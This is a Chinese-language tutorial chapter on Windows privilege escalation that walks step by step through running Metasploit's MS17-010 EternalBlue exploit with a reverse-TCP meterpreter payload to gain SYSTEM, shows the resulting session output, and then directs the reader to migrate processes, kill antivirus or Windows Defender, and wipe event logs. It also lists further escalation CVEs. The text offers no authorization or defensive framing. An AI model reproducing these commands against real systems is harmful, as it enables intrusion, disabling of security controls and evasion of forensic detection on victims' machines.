2. 权限提升基础:Windows本地提权概述与MS17-010实战

权限提升,说白了就是「拿到普通用户权限后,想办法变成管理员甚至 SYSTEM」。这是后渗透里最关键的环节之一。我经常跟团队说:没有提权,持久化就是空中楼阁

你想想看,你费了半天劲打进去,结果只是个 guest 或者普通 user,能干的事太有限了。想装个服务?没权限。想写注册表?没权限。想 dump 哈希?更别想了。所以,提权是后渗透的「入场券」

2.1 Windows 本地提权到底在提什么?

Windows 的权限模型,说白了就是一套「谁能干什么」的规则。普通用户能跑程序、能读写自己的文件,但动不了系统核心的东西。而 SYSTEM 账户——那是 Windows 的「上帝模式」,什么都能干。

本地提权,就是从低权限账户跳到高权限账户。常见的路径有:

  • 内核漏洞提权:利用操作系统本身的 bug,比如 MS17-010、MS16-032
  • 服务漏洞提权:服务跑在 SYSTEM 下,但配置不当,比如可写路径、可劫持的二进制文件
  • 令牌窃取:从其他高权限进程中「偷」令牌来用
  • DLL 劫持:让高权限进程加载我们恶意的 DLL

我个人习惯,拿到 shell 后第一件事就是跑 whoamisysteminfo。看看自己是谁,看看系统打了哪些补丁。嗯,这一步很关键。

核心原则:提权不是靠运气,而是靠信息收集。你收集的信息越全,找到的漏洞就越准。

2.2 为什么 MS17-010 这么经典?

MS17-010,江湖人称「永恒之蓝」。2017 年爆出来的,影响 Windows 7、Server 2008、Server 2012 等一大批系统。这个漏洞有多猛?不需要用户交互,不需要认证,直接远程打进去就是 SYSTEM

我记得当年做红队项目时,碰到一个内网全是 Windows 7 的环境。扫了一圈,发现 445 端口全开着。我当时心里就有数了——这波稳了。直接上 MS17-010,一路畅通无阻。

为什么会这样?因为 SMB 协议在处理某些特殊构造的请求时,存在一个缓冲区溢出。攻击者可以覆盖内核内存,最终执行任意代码。而且这个漏洞的利用代码非常成熟,Metasploit 里直接就有现成的模块。

注意:MS17-010 虽然好用,但动静很大。目标机器可能会蓝屏。我在实战中遇到过两次,一次是打服务器,直接蓝了,吓得我赶紧撤。所以,生产环境慎用

2.3 实战:用 Metasploit 打 MS17-010

好,咱们直接上手。假设你已经有了一个普通用户的 meterpreter shell。现在要提权到 SYSTEM。

第一步,先确认目标有没有打补丁。在 meterpreter 里跑:

meterpreter > run post/windows/gather/enum_patches

[+] KB4012212 缺失
[+] KB4012215 缺失
[+] KB4012216 缺失

看到这些补丁缺失,基本就稳了。这些就是 MS17-010 的修复补丁。

第二步,加载 exploit 模块:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > run

如果一切顺利,你会看到:

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] 192.168.1.100:445 - Connecting to target...
[+] 192.168.1.100:445 - Target is vulnerable!
[*] 192.168.1.100:445 - Sending exploit...
[+] 192.168.1.100:445 - Exploit completed!
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened

这时候你再看权限:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

嗯,直接就是 SYSTEM。整个过程不到 30 秒。

小技巧:如果目标不是 64 位系统,记得把 PAYLOAD 改成 windows/meterpreter/reverse_tcp。我见过有人拿 64 位 payload 去打 32 位系统,结果 session 死活起不来。

2.4 提权后的第一件事

拿到 SYSTEM 之后,别急着高兴。我建议你立刻做三件事:

  1. 迁移进程:把 meterpreter 迁移到一个稳定的 SYSTEM 进程里,比如 explorer.exe 或者 svchost.exe。用 migrate 命令。
  2. 关闭杀软:用 run post/windows/manage/killav 或者手动停掉 Windows Defender。
  3. 清理痕迹:用 clearev 清掉事件日志。虽然不一定能完全隐藏,但至少能拖延一下。

我曾经有一次,提权成功后忘了迁移进程。结果目标机器重启了,我的 session 直接断了。那叫一个后悔。所以,迁移进程是肌肉记忆

2.5 其他常见的本地提权漏洞

MS17-010 虽然经典,但不是万能的。现在很多系统都打了补丁。那怎么办?别急,还有别的路子。

漏洞编号 影响系统 利用方式 备注
MS16-032 Windows 7/8/10, Server 2008/2012 PowerShell 脚本 需要本地用户权限
MS16-135 Windows 7/8/10, Server 2008/2012/2016 内核提权 稳定性一般
CVE-2019-0808 Windows 7/8/10, Server 2008/2012/2016 Win32k 提权 需要用户交互
CVE-2020-0787 Windows 10, Server 2016/2019 后台打印服务提权 比较新,成功率不错

我个人习惯,先打 MS17-010,不行再试 MS16-032。如果都不行,那就看看目标有没有装什么第三方软件,比如某款杀软或者某款办公软件,它们的服务经常跑在 SYSTEM 下,而且配置漏洞百出。

一句话总结:提权不是目的,拿到 SYSTEM 才是。而拿到 SYSTEM 之后,你才能真正开始做持久化。

2.6 本章知识体系

下面这张图,是我自己整理的 Windows 本地提权知识体系。你可以把它当作一个「提权路线图」:

Windows 本地提权知识体系 普通用户 Shell 信息收集:whoami / systeminfo / enum_patches 内核漏洞提权 服务漏洞提权 令牌窃取 / DLL劫持 MS17-010 / MS16-032 可写路径 / 未引号服务 incognito / getsystem NT AUTHORITY\SYSTEM

这张图的核心逻辑就是:从普通用户出发,经过信息收集,选择一条合适的路径,最终到达 SYSTEM。你不需要每条路都走一遍,找到一条能走通的就行。

我的建议:把这张图记在脑子里。每次拿到 shell 后,按图索骥,一步步来。别慌,也别乱试。提权是个技术活,也是个耐心活。

好了,这一章就到这里。MS17-010 是入门,但绝不是终点。下一章我们会聊更高级的提权技巧,比如服务劫持和令牌窃取。到时候见。

专注资料整理